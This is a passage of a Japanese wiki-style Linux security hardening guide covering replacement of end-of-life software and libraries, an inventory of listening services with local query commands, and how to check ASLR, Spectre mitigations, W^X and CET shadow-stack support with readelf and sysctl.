:* Ubuntu Server: 標準で &lt;code&gt;needrestart&lt;/code&gt; が導入されており自動で影響を受けるデーモンの再起動が行われます{{efn|自動的なデーモン再起動を止めるには /etc/apt/apt.conf.d/99needrestart より&lt;code&gt;-m u&lt;/code&gt;を削除する必要があります&lt;ref&gt;[https://discourse.ubuntu.com/t/needrestart-changes-in-ubuntu-24-04-service-restarts/44671 `needrestart` changes in Ubuntu 24.04: service restarts] Canonical 2024年&lt;/ref&gt;。}}（Ubuntu Desktopでは別途導入が必要）。
:* RedHat / Fedora: &lt;code&gt;dnf needs-restarting&lt;/code&gt;が導入されており、それによって再起動するべきデーモンを確認できます。
; ユーザー空間のみ再起動する（カーネルの更新がない、またはカーネルでlive patchingを行ってる場合）
: &lt;code&gt;sudo systemctl soft-reboot&lt;/code&gt;
; 高速にカーネルを更新する（ファームウェアの更新がない場合）
: &lt;code&gt;sudo systemctl kexec&lt;/code&gt;

また一部のソフトウェアではホットアップグレード（無停止アップグレード{{efn|Zero-Downtime Upgrade}}）にも対応しています (nginx の USR2 シグナル&lt;ref&gt;[https://nginx.org/en/docs/control.html Controlling nginx] nginx&lt;/ref&gt;など)。

=== 代替ソフトウェアを探す ===
更新が停止された古いソフトウェアの多くはそれ自身に脆弱性が存在したり、脆弱性のある古いライブラリに依存していたりします。そのため古いソフトウェアは速やかに代替ソフトウェアへと移行しましょう。

==== 開発終了したソフトウェアから現役のソフトウェアへ ====
古いソフトウェアには例えば以下があります:
* オフィススイート（代替候補: LibreOffice）
** [[:w:OpenOffice.org|OpenOffice.org]]（〜2011年）
* 画像ビューア
** [[:w:Susie|Susie]] （〜2013年）
* メディアプレイヤー
** [[:w:QuickTime|QuickTime]] for Windows（〜2016年） - リモートコード実行の脆弱性 ([https://www.zerodayinitiative.com/advisories/ZDI-16-241/ ZDI-16-241]、[https://www.zerodayinitiative.com/advisories/ZDI-16-242/ ZDI-16-242]) を残したままサポート終了しました&lt;ref&gt;[https://internet.watch.impress.co.jp/docs/news/753400.html Apple、「QuickTime for Windows」のサポートを終了、アンインストールを推奨] Impress 2016年4月15日&lt;/ref&gt;。
* メディアフィルター（代替候補: LAV Filters）
** [[:w:ffdshow|ffdshow]]（〜2014年）
** [[:w:Haali Media Splitter|Haali Media Splitter]]（〜2013年） 
* メディアセンター（代替候補: Kodi）
** [[:w:en:Boxee|Boxee]]（〜2011年）
** [[:w:Kodi|XBMC]]（〜2014年） - Kodiの前身
* 圧縮ソフトウェア
** [[:w:+Lhaca|+Lhaca]]（〜2007年）
** [[:w:Lhaplus|Lhaplus]]（〜2017年）

またハードウェアに由来する古いソフトウェアには例えば以下があります:
* [[w:ウォークマン|ウォークマン]]関連（代替候補: [[:w:Music Center for PC|Music Center for PC]]）
** [[:w:CONNECT Player|CONNECT Player]]（〜2007年、Sony）
** [[:w:SonicStage|SonicStage]]（〜2009年、Sony）
** [[:w:x-アプリ|x-アプリ]]（〜2016年、Sony）
* DTCP-IP関連
** SmartVision/PLAYER powered by DiXiM（〜2019年、NEC）&lt;ref&gt;[https://support.nec-lavie.jp/navigate/support/info/2019/announce/svp/ SmartVision/PLAYER保守サービス終了のお知らせ] NECパーソナルコンピュータ 2019年1月28日&lt;/ref&gt;&lt;ref&gt;[https://apps.microsoft.com/detail/9wzdncrdkb4c?hl=ja-JP&amp;gl=JP SmartVision/PLAYER powered by DiXiM] Microsoft&lt;/ref&gt;
** DiXiM Digital TV plus for I-O DATA（〜2022年、I-O DATA）&lt;ref&gt;[https://www.iodata.jp/lib/product/d/3533.htm DiXiM Digital TV plus for I-O DATA] I-O DATA&lt;/ref&gt;

なお仮想マシンを使って隔離しながら古いソフトウェアを動かすこともできますが、仮想マシンでも「VMエスケープ」の脆弱性を使用することでホスト環境への侵害が可能なため、仮想マシンの上で弱い環境や弱いソフトウェアを使うこともなるべく避けましょう。&lt;!--TODO: Windows Sandbox--&gt;

==== 古いバージョンのライブラリを避ける ====
多くのソフトウェアに使用されているライブラリとその過去の危険な脆弱性には例えば以下があります:&lt;!--危険を認識させる。例はライブラリ内のメイン処理に存在し、任意コード実行であり、脆弱性の存在期間が長く、新しいものが好ましい。--&gt;
* 画像ライブラリ
** libpng - [https://access.redhat.com/security/cve/cve-2010-1205 CVE-2010-1205]（PNG画像で任意コード実行の可能性）
** libjpeg-turbo - [https://access.redhat.com/security/cve/cve-2012-2806 CVE-2012-2806]（JPEG画像で任意コード実行の可能性）
** OpenJPEG - [https://access.redhat.com/security/cve/cve-2025-54874 CVE-2025-54874]（JPEG2000画像で任意コード実行の可能性）
** libtiff - [https://access.redhat.com/security/cve/cve-2026-12912 CVE-2026-12912]（PixarLog圧縮TIFF画像で任意コード実行の可能性）
** libwebp - [https://access.redhat.com/security/cve/cve-2023-4863 CVE-2023-4863]（WebP画像で任意コード実行の可能性）
* 動画ライブラリ
** FFmpeg - [https://access.redhat.com/security/cve/cve-2024-22860 CVE-2024-22860]（JPEG XLアニメーションで任意コード実行の可能性）
* 圧縮ライブラリ
** libarchive - [https://access.redhat.com/security/cve/cve-2026-15028 CVE-2026-15028]（tarアーカイブ形式で任意コード実行の可能性）
** zlib - [https://access.redhat.com/security/cve/cve-2002-0059 CVE-2002-0059]（Deflate圧縮形式で任意コード実行の可能性）
** bzip2 - [https://access.redhat.com/security/cve/cve-2010-0405 CVE-2010-0405]（BZ2圧縮形式で任意コード実行の可能性）

これらのライブラリはABI（アプリケーションバイナリインターフェイス）が変更されて新しいバージョンの共有ライブラリにドロップイン置換できないものも多くなっています。

また国内で使われている古いソフトウェアでは開発中止になった以下のライブラリも問題となっています:
* UNLHA32.DLL&lt;ref&gt;[https://forest.watch.impress.co.jp/docs/news/372729.html 圧縮・解凍用DLL「UNLHA32.DLL」が開発中止、作者はLZHの利用中止を呼びかけ] Impress 2010年6月7日&lt;/ref&gt;

Webフレームワークでは開発中止となった以下のフレームワークが問題となっています:
* [[:w:Model View Controller|Model View Controller]]フレームワーク（代替候補: [[:w:Apache Struts|Apache Struts]] 2、[[:w:Spring Framework#Model-View-Controller フレームワーク|Spring MVC]]）
** [[:w:en:Apache Struts 1|Apache Struts 1]]（〜2008年） - Java言語
* [[:w:アスペクト指向プログラミング|アスペクト指向フレームワーク]]（代替候補: [[:w:Spring Framework|Spring Framework]]、[[:w:en:Micronaut (framework)|Micronaut]]）
** [[:w:Seasar|Seasar]]（〜2016年） - Java言語
* [[:w:シングルページアプリケーション|シングルページアプリケーション]]フレームワーク（代替候補: [[:w:Angular|Angular]]、[[:w:Vue.js|Vue.js]]）
** [[:w:AngularJS|AngularJS]]（〜2022年） - JavaScript

=== 古いハードウェアに対処する ===
サポート切れの OS を搭載したハードウェアはどうすれば良いでしょうか。これには使い続けるいくつかの方法がありますが、基本的にオススメしません。古い OS を搭載していたハードウェアはハードウェア仕様も古いからです。

==== スタンドアロン運用 ====
古いハードウェアはインターネットに繋がずに使用すること（スタンドアロン運用）も可能です。

しかしながらUSBメモリでデータをやり取りする場合はUSBメモリ経由での感染などのリスクは残ります。

==== 新しめのLinuxを導入 ====
新しめのLinuxを導入するという方法もあります。

これに適したものでは例えばWindows 11非対応のPC (Intel 第7世代以前、AMD Ryzen 1000シリーズ以前) が挙げられます。

またスマートフォンやタブレットであればカスタムROMが、ルーターであればDD-WRTやOpenWRTが存在します。

==== 手放す ====
手に負えなければデータだけバックアップして手放しましょう。情報が漏れないよう初期化も忘れずに。

== 不要なサービスを止める / 削除する ==
{| class=&quot;wikitable&quot;
|+ サービス表示系コマンド
|-
! 稼働中のシステムサービスを見る
| &lt;code&gt;systemctl --type=service --state=running&lt;/code&gt;
|-
! 稼働中のユーザーサービスを見る
| &lt;code&gt;systemctl --user --type=service --state=running&lt;/code&gt;
|}

=== TCP/UDP経由のサービス ===
TCP/UDPでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -tulnp&lt;/code&gt; を、通信しているプロセスを見るには &lt;code&gt;sudo lsof -i -P -n&lt;/code&gt; を実行しましょう。

{| class=&quot;wikitable&quot;
|+ 主なポート待ち受けのあるプロセス
|-
! ポート !! 機能 !! プロセス名 !! サービス名または起動コマンド !! パッケージ名 (Ubuntu) || 直接問い合せコマンド
|-
| rowspan=2 | 53/UDP&lt;br&gt;53/TCP || rowspan=2 | DNS（名前解決） || systemd-resolved || systemd-resolved.service || systemd-resolved || &lt;code&gt;dig @127.0.0.53 example.com&lt;/code&gt;
|-
| dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;dig @10.208.199.1 example.com&lt;/code&gt;
|-
| rowspan=2 | 5353/UDP || rowspan=2 | [[:w:マルチキャストDNS|マルチキャストDNS]] || systemd-resolved || systemd-resolved.service ||  systemd-resolved || &lt;code&gt;resolvectl -p mdns query $HOSTNAME.local&lt;/code&gt;
|-
| Avahi || avahi-daemon.service || avahi-daemon || &lt;code&gt;avahi-resolve-host-name $HOSTNAME.local&lt;/code&gt;
|-
| 67/UDP&lt;br&gt;547/UDP || [[:w:DHCP|DHCP]]&lt;br&gt;[[:w:DHCPv6|DHCPv6]] || dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;IP=$(ip -4 -o addr show pan1 &amp;vert; grep -oP '(?&lt;=inet )[\d.]+'); sudo dhcping -v -i -s &quot;$IP&quot; -c &quot;$IP&quot;&lt;/code&gt;{{efn|Ubuntuではdhcpingパッケージの導入が必要です。}}
|-
| rowspan=2 | 68/UDP&lt;br&gt;546/UDP || rowspan=2 | DHCPクライアント&lt;br&gt;DHCPv6クライアント{{efn|単独のDHCPクライアントである dhclient、dhcpcd なども存在する。また開発終了になったisc-dhcp-clientも存在した。}} || systemd-networkd&lt;wbr&gt;{{efn|name=&quot;network-all&quot;}} || || systemd || 
|-
| NetworkManager&lt;wbr&gt;{{efn|name=&quot;network-all&quot;|ネットワーク管理全般を担当しています。}} || NetworkManager.service || network-manager || 
|-
| rowspan=2 | 123/UDP&lt;br&gt;4460/TCP || rowspan=2 | NTP（時刻同期）&lt;br&gt;NTS-KE （NTPの鍵交換）{{efn|これらの代替として systemd-timesyncd もありますが、こちらは NTP の代わりに単純な SNTP のみ実装の上、サーバーを持たずクライアント側のみ対応です。}} || ntpd || ntpsec.service || ntpsec || rowspan=2 | &lt;code&gt;ntpdig localhost&lt;/code&gt;{{efn|ローカルへのNTP問い合せは&lt;code&gt;ntpdate -q localhost&lt;/code&gt;でもできますが、こちらはNTP-KE非対応です。}}
|-
| chronyd || chrony.service || chrony
|-
| 80/TCP&lt;br&gt;443/HTTP&lt;br&gt;443/UDP || HTTP&lt;br&gt;HTTPS&lt;br&gt;HTTP/3 (QUIC) || apache2 || apache2.service&lt;br&gt;apache2@.service&lt;br&gt;httpd.service&lt;br&gt;httpd@.service || apache2 || HTTP: &lt;code&gt;curl http://localhost&lt;/code&gt;&lt;br&gt;HTTPS: &lt;code&gt;curl --http2 https://localhost&lt;/code&gt;&lt;br&gt;HTTP/3: &lt;code&gt;curl --http3-only https://localhost&lt;/code&gt;
|-
| rowspan=2 | ユーザーポート/UDP || rowspan=2 | HTTP/3 (QUIC) クライアント&lt;br&gt;WebRTCクライアント || chrome{{efn|Google Chrome}} || &lt;code&gt;google-chrome&lt;/code&gt; || google-chrome (公式APTリポジトリ) || 
|-
| firefox{{efn|Mozzila Firefox}} || &lt;code&gt;firefox&lt;/code&gt; || firefox (snap) || 
|-
| rowspan=2 |21/TCP&lt;br&gt;20/TCP{{efn|アクティブモードのみデータ転送で使われます。}} || rowspan=2 | FTP || proftpd || proftpd.service&lt;br&gt;proftpd@.service || proftpd-core || rowspan=2 | &lt;code&gt;curl ftp://localhost&lt;/code&gt;
|-
| vsftpd || vsftpd.service || vsftpd
|-
| 22/TCP || SSH / SFTP || sshd || ssh.service&lt;br&gt;sshd@.service || openssh-server || &lt;code&gt;ssh-keyscan 127.0.0.1&lt;/code&gt;
|-
| rowspan=2 | 6881/TCP || rowspan=2 | BitTorrent || qbittorrent || &lt;code&gt;qbittorrent&lt;/code&gt; || qbittorrent ||
|-
| ktorrent || &lt;code&gt;ktorrent&lt;/code&gt; || ktorrent ||
|-
| rowspan=2 | 51413/TCP || rowspan=2 | Transmission&lt;wbr&gt;{{efn|BitTorrentプロトコル。TransmissionをベースとするFragmentsも同ポートを使用します。}} || transmission-daemon || transmission-daemon.service || transmission-daemon ||
|-
| transmission-gtk || &lt;code&gt;transmission-gtk&lt;/code&gt; || transmission-gtk ||
|-
| 5001/TCP&lt;br&gt;5001/UDP || rowspan=2|  ネットワークパフォーマンス計測 || iperf || &lt;code&gt;iperf -s&lt;/code&gt; || iperf || &lt;code&gt;iperf -c localhost&lt;/code&gt;
|-
| 5021/TCP&lt;br&gt;5021/UDP || iperf3 || &lt;code&gt;iperf3 -s&lt;/code&gt; || iperf3 || &lt;code&gt;iperf3 -c localhost&lt;/code&gt;
|-
| 1716/UDP&lt;br&gt;1716/TCP&lt;br&gt;ユーザーポート/UDP || スマートフォン連携 (KDE) || kdeconnectd || &lt;code&gt;kdeconnect-app&lt;/code&gt; || kdeconnect ||
|-
| ユーザーポート/TCP || Claude Proxy Service || code{{efn|[[:w:Visual Studio Code|Visual Studio Code]]のプロセス。}} || &lt;code&gt;code&lt;/code&gt; || code (公式APTリポジトリ) || 
&lt;!--
|-
|  || AI コーディング支援 (Google Antigravity CLI{{efn|Command Line Interface}}) || agy || || (Visal Studio Code拡張) || 
--&gt;
|-
| rowspan=2 | 3389/TCP&lt;br&gt;3389/UDP || rowspan=2 | Remote Desktop Protocol || gnome-remote-desktop-daemon{{efn|GNOME Remote Desktop}} || gnome-remote-desktop.service&lt;!-- (system)--&gt;&lt;br&gt;gnome-remote-desktop.service (user)&lt;br&gt;gnome-remote-desktop-headless.service (user) || gnome-remote-desktop || 
|-
| krdpserver || app-org.kde.krdpserver.service (user) || krdp || 
|-
| 47984/TCP&lt;br&gt;47989/TCP&lt;br&gt;48010/TCP&lt;br&gt;47998–48010/UDP || NVIDIA GameStream || sunshine ||  app-dev.&lt;wbr&gt;lizardbyte.&lt;wbr&gt;app.&lt;wbr&gt;Sunshine.service (user) || sunshine (公式debファイル) ||  (moonlight-qt)
|-
| 27031-27036/UDP&lt;br&gt;27036/TCP || Steam Remote Play&lt;ref&gt;[https://help.steampowered.com/ja/faqs/view/2EA8-4D75-DA21-31EB Steam接続に必要なポート] Valve&lt;/ref&gt; || steam || &lt;code&gt;steam&lt;/code&gt; || steam (公式APTリポジトリ) || 
|-
| 1900/UDP || UPnP{{efn|パケットフィルタと共に使用して要求に従ってポートマッピングする。}} || miniupnpd || miniupnpd.service || miniupnpd-nftables&lt;br&gt;miniupnpd-iptables ||
|}

なおUPnPのポートは外側に解放しないようにしましょう。また内側にだけ解放した場合も内側に侵害された機器が存在する場合に危険となるのでVLANでネットワークを分けるなどを心がけましょう。

また外側に開いてるポートはランダム割り当てされないように sysctl の &lt;code&gt;net.ipv4.ip_local_reserved_ports&lt;/code&gt; で予約しておきましょう。この設定を永続化するには /etc/sysctl.d/99-local-ports.conf あたりに&lt;code&gt;net.ipv4.ip_local_reserved_ports=a,b,c&lt;/code&gt;{{efn|ダブルクォーテーションで囲むと「無効な引数です」のエラーになるので注意してください。}}と記述すれば OK です。設定を直ぐに反映するには&lt;code&gt;sudo sysctl --system&lt;/code&gt;を実行しましょう。

&lt;!--TODO: CUPS、Postfix、Samba、Wsdd--&gt;

=== Unix Domain経由のサービス ===
Unix Domainでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -xlp&lt;/code&gt; を実行しましょう。


=== dbus経由のサービス ===
システムバスは &lt;code&gt;busctl --system list&lt;/code&gt;、セッションバスは &lt;code&gt;busctl --user list&lt;/code&gt; で確認することができます。

それらを提供する実行中のプロセスの一覧は以下で取得できます:
* システムバスを提供するプロセス: &lt;code&gt;busctl --system --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;
* ユーザーバスを提供するプロセス: &lt;code&gt;busctl --user --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;

dbusサービスの一部はプロセス未実行のアクティベータブル (activatable) な状態で提供されています。アクティベータブルな状態で提供するサービスの実行コマンドは以下で取得できます:
*  activatableなシステムバスの実行コマンド: &lt;code&gt;busctl --system --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;
*  activatableなユーザーバスの実行コマンド: &lt;code&gt;busctl --user --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;

== 潜在的な脆弱性を減らす ==
現代のプログラムでは以下のような保護が行われています。

=== メモリアドレスの推測困難化 === 
攻撃に必要なコード片（ガジェット）のメモリアドレスを推測しにくくするために、カーネル空間、ユーザー空間の両方で[[:w:アドレス空間配置のランダム化|アドレス空間配置のランダム化]]（ASLR）が行われています。カーネル空間の ASLR は KASLR (Kernel ASLR) とも呼ばれています。

ユーザー空間のプログラムで ASLR を有効にするためには[[:w:位置独立コード|位置独立コード]] (PIC) / 位置独立実行形式 (PIE) である必要があります。Unix で使われる実行形式の ELF では位置独立実行形式が ET_DYN、非位置独立実行形式 (non-PIE) が ET_EXEC となります。

Linuxでは ASLR が無効となる非位置独立実行形式のファイルを以下で検索することができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 非位置独立実行形式 (non-PIE) のバイナリを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}'
/usr/lib/default.sfx
/usr/lib/klibc/bin/mkfifo
/usr/lib/klibc/bin/zcat
/usr/lib/klibc/bin/poweroff
[...]
$ # 非位置独立実行形式 (non-PIE) のバイナリを含むDebianパッケージを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
aidl
busybox-static
code
cpp-15-x86-64-linux-gnu
cuda-gdb-13-4
cuda-nvcc-13-4
cuda-sanitizer-13-4
cuda-tileiras-13-4
debugedit
g++-15-x86-64-linux-gnu
gcc-15-x86-64-linux-gnu
gcc-mingw-w64-i686-posix
gdc-15-x86-64-linux-gnu
gds-tools-13-4
gfortran-15-x86-64-linux-gnu
gh
git-lfs
gobjc-15-x86-64-linux-gnu
gocryptfs
golang-1.26-go
go-md2man
go-mtpfs
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルがユーザー空間 ASLR を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sysctl kernel.randomize_va_space # 0=無し、1=部分的、2=完全
kernel.randomize_va_space = 2
&lt;/syntaxhighlight&gt;

また現在のLinuxカーネルがカーネル ASLR (KASLR) を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_RANDOMIZE_BASE' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_RANDOMIZE_BASE=y
&lt;/syntaxhighlight&gt;

なお ASLR は間接的な関数呼び出し（ C++ の vtable を含む）があると、そのアドレスから ASLR のオフセットがバレてしまい突破されてしまいます。

また CPU の[[:w:投機的実行|投機的実行]]での情報漏れ (Spectre) による[[:w:キャッシュ攻撃|キャッシュサイドチャネル攻撃]]（後述）の一つである「投機的探査」 (BlindSide) によってもコードの位置情報の取得がされ ASLR が突破されてしまいます。

=== 投機的実行の情報漏れ防止 ===
前述のとおり、投機的実行による情報漏れ (Spectre) は攻撃に繋がります。Spectre には境界チェックを迂回する Spectre V1 と間接分岐の分岐先アドレスのキャッシュ{{efn|分岐先バッファ (Branch Target Buffer、BTB)や分岐先アドレスキャッシュ (Branch Target Address Cache、BTAC) と呼ばれる。}}を汚染する Spectre V2 が存在します。&lt;!--TODO: Spectre v3/v4、Zenbleed--&gt;

Spectre V1 を防ぐ方法としては投機的実行を阻害するための命令（x86ではLFENCE）の挿入{{efn|Linuxカーネルでの投機的実行の防止は&lt;code&gt;barrier_nospec()&lt;/code&gt;。}}やアクセスできるアドレス範囲を狭めることが行われています{{efn|GCCでの投機的実行での範囲外アクセス防止は&lt;code&gt;__builtin_speculation_safe_value(...)&lt;/code&gt;、Linuxカーネルでの投機的実行での範囲外アクセス防止は&lt;code&gt;array_index_nospec(...)&lt;/code&gt;&lt;ref&gt;[https://lwn.net/Articles/759423/ Spectre V1 defense in GCC] LWN 2018年7月10日&lt;/ref&gt;。}}。

また Spectre V2 では攻撃を防ぎながらも速度を落とさない方法として脆弱な分岐先アドレスキャッシュに依存する間接分岐の代わりにリターンアドレスのキャッシュ{{efn|リターンスタックバッファ (RSB) と呼ばれる。}}に依存するリターン命令を使う retpoline が登場しました。しかしながらこの retpoline でも速度の低下は起こるため、既知の間接呼び出しを条件分岐 + 直接呼び出しに変換して高速化する手法が模索されました。LLVM では retpoline を有効にする &lt;code&gt;-mretpoline&lt;/code&gt;フラグの処理内に既知の仮想関数呼び出しを[[:w:二分木|二分木]]の直接分岐に置き換える「分岐ファネル」(Branch funnel) が導入されています&lt;ref&gt;[https://reviews.llvm.org/D42453 Use branch funnels for virtual calls when retpoline mitigation is enabled.] LLVM project&lt;/ref&gt;。また Linux カーネルでも既知の間接呼び出しを条件分岐 + 直接呼び出しに変換する INDIRECT_CALL_* マクロが搭載されています&lt;ref&gt;[https://lwn.net/Articles/774743/ Relief for retpoline pain] LWN 2018年12月14日&lt;/ref&gt;。&lt;!--TODO: Intel CETのSHSTKとretpolineの衝突--&gt;

一方、リターン命令の投機的実行も「Retbleed」や AMD CPU における「投機的リターンスタックオーバーフロー」 (SRSO){{efn|Speculative Return Stack Overflow。}}のような脆弱性が見つかっています。

なお低権限コードから高権限コードへの権限境界をまたいだ Spectre および Retbleed は Intel の「間接分岐制限付き投機」(IBRS){{efn|Indirect Branch Restricted Speculation。}}およびそれを高速化した「拡張IBRS」(eIBRS) などハードウェア側によって塞がれました&lt;ref&gt;[https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/technical-documentation/hardware-behavior-related-to-speculative-execution.html Hardware Features and Behavior Related to Speculative Execution] Intel 2026年10月14日&lt;/ref&gt;が、権限境界をまたがないものは今も可能となっています。

=== メモリにおける書き込みと実行の排他化 (W^X) ===
メモリでは書き込み可能領域の実行不可化 ([[:w:NXビット|NXビット]]) と実行可能領域の書き込み不可化による書き込みと実行の排他化（[[:w:en:W^X|W^X]]）が一般的となっています。NXビットは x86 では NXビットは AMD64 と共に搭載された古い機能であるため、今時の CPU と OS は基本的にこれに対応しています。

現在の CPU がNXビットを有効にしているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -o nx
nx
nx
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルが厳格な W^X を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '_RWX' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_STRICT_MODULE_RWX=y
&lt;/syntaxhighlight&gt;

しかしながら書き込みと実行の排他の原則を破ってそれらを同時に行える場所というものも存在しています。読み込み・書き込み・実行が可能なことから「RWXセクション」と呼ばれています。Windows ではメモリページの PAGE_EXECUTE_READWRITE フラグがこれに相当します&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants メモリ保護定数] メモリ保護定数 (WinNT.h) - Win32 apps | Microsoft Learn&lt;/ref&gt;。

Windows のカーネルドライバでは NX フラグの使用が義務付けられています&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-hardware/test/hlk/testref/driver-compatibility-with-device-guard メモリ整合性と VBS とのドライバ互換性] Microsoft&lt;/ref&gt;が、その Windows カーネルにおいても PatchGuard の領域がコード難読化のためにこの原則を破っています。&lt;!--TODO: ホットパッチ--&gt;

また Linux でも実行可能領域を書き込み可能ページとして割り当てて書き込む text_poke 関数が用意されています。

=== 制御フローの操作を防ぐ (CET)  ===
現代では「[[:w:Return-oriented programming|リターン指向プログラミング]]」(ROP)、「呼び出し指向プログラミング」 (COP)、「ジャンプ指向プログラミング」(JOP) 、「[[:en:Sigreturn-oriented programming|Sigreturn指向プログラミング]]」(SROP) などの制御フロー操作による攻撃が一般化していますが、これを防ぐ技術として「[[:w:en:Control-flow integrity#Intel Control-flow Enforcement Technology|制御フロー強制テクノロジー]]」(CET) の「[[:w:en:Indirect branch tracking|間接分岐追跡]]」(IBT) と「[[:w:en:Shadow stack|シャドウスタック]]」(SHSTK) が存在します。

制御フロー強制は比較的新しい技術であるため、対応する CPU は以下に限られます:
* Intel Core (Tiger Lake) 第11世代以降
* AMD Zen 3 以降（シャドウスタックのみ）

現在の CPU が間接分岐追跡 (IBT)  およびシャドウスタックに対応しているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -oE '(ibt|shstk)'
shstk
ibt
shstk
ibt
[...]
&lt;/syntaxhighlight&gt;

またユーザーランドのシャドウスタックの使用にはユーザーランドだけでなくカーネルの対応も必要となります。Linux カーネル では 6.6 以降対応でこれに対応しています（sigreturnにも対応&lt;ref&gt;[https://github.com/torvalds/linux/commit/05e36022c0543ba55a3de55af455b00cb3eb4fcc x86/shstk: Handle signals for shadow stack · torvalds/linux@05e3602] GitHub 2023年8月3日&lt;/ref&gt;）。 Linuxディストリビューションでは Ubuntu 24.04以降、 Red Hat Enterprise Linux 9.7 以降&lt;ref&gt;[https://docs.redhat.com/ja/documentation/red_hat_enterprise_linux/9/html/9.7_release_notes/new-features-kernel 4.8. カーネル - 9.7 リリースノート - Red Hat Enterprise Linux - 9 - Red Hat Documentation] Red Hat&lt;/ref&gt;が標準でシャドウスタックを有効としています。

現在のLinuxカーネルがユーザーランドの間接分岐追跡およびシャドウスタックを有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -E '_(IBT|SHADOW_STACK)' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_CC_HAS_IBT=y
# CONFIG_X86_KERNEL_IBT is not set
CONFIG_X86_USER_SHADOW_STACK=y
CONFIG_X86_DISABLED_FEATURE_IBT=y
CONFIG_ARCH_HAS_USER_SHADOW_STACK=y
&lt;/syntaxhighlight&gt;

現在のユーザーランドプログラムの中で間接分岐追跡またはシャドウスタックが無効化されているものはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)'
/usr/lib/lv2/carla.lv2/carla.so
/usr/lib/7zip/7z
/usr/lib/7zip/7zCon.sfx
/usr/lib/7zip/7zr
/usr/lib/7zip/7z.so
/usr/lib/7zip/7za
/usr/lib/klibc/bin/ipconfig
/usr/lib/klibc/bin/umount
/usr/lib/klibc/bin/halt
[...]
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを含むDebianパッケージを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
7zip
aidl
ardour
avr-libc
cargo-1.93
carla
carla-bridge-wine32:i386
carla-bridge-wine64
carla-lv2
carla-vst
cuda-ctadvisor-13-4
cuda-cudart-13-4
[...]
&lt;/syntaxhighlight&gt;

一方、Linuxカーネルのカーネル側のシャドウスタック対応は2026年現在まだ開発中となっています (x86 Kernel Shadow Stacksパッチシリーズ)&lt;ref&gt;[https://www.phoronix.com/news/Linux-Kernel-Shadow-Stacks x86 Kernel Shadow Stacks Being Worked On For Linux As Powerful Control Flow Protection] Phoronix 2026年10月22日&lt;/ref&gt;。

